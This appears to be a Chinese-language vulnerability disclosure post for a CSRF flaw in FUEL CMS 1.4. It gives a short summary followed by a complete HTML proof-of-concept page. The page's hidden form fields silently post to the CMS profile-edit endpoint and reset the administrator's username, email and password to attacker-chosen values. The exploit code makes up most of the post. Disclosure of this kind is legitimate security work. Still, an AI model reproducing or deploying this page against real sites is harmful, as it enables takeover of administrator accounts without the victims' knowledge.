CVE中文申请站

一、漏洞摘要

漏洞名称: FUELCMS 1.4存在CSRF可修改管理员账户密码
上报日期: 2018-08-25
漏洞发现者: 惜潮
产品首页: https://github.com/daylightstudio/FUEL-CMS
软件链接: https://github.com/daylightstudio/FUEL-CMS
版本: 1.4
CVE编号: CVE-2018-申请中


二、漏洞概述

恶意攻击者可以精心伪造一个Html页面 从而更改管理员账户密码。

三、利用代码

exp代码如下:

<span style="font-size:18px;"><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF</title>
</head>
<form action="http://127.0.0.1/fuel/my_profile/edit?inline=" method="POST">
     <input type="hidden" name="user_name" value="hacker"><!--admin's name-->
     <input type="hidden" name="email" value="test@mail.com"><!--admin's email-->
   <input type="hidden" name="first_name" value="admin">
   <input type="hidden" name="last_name" value="admin">
   <input type="hidden" name="new_password" value="xichao"><!--admin's password-->
   <input type="hidden" name="confirm_password" value="xichao"><!--admin's password-->
   <input type="hidden" name="Save" value="Save">
   <input type="hidden" name="language" value="english">
   <input type="hidden" name="fuel_inline" value="0">
    <button type="submit" value="Submit">GO</button>
    </form>
    </body>
</html></span>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/48/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-申请中
exploit-db:发布中

标签: CSRF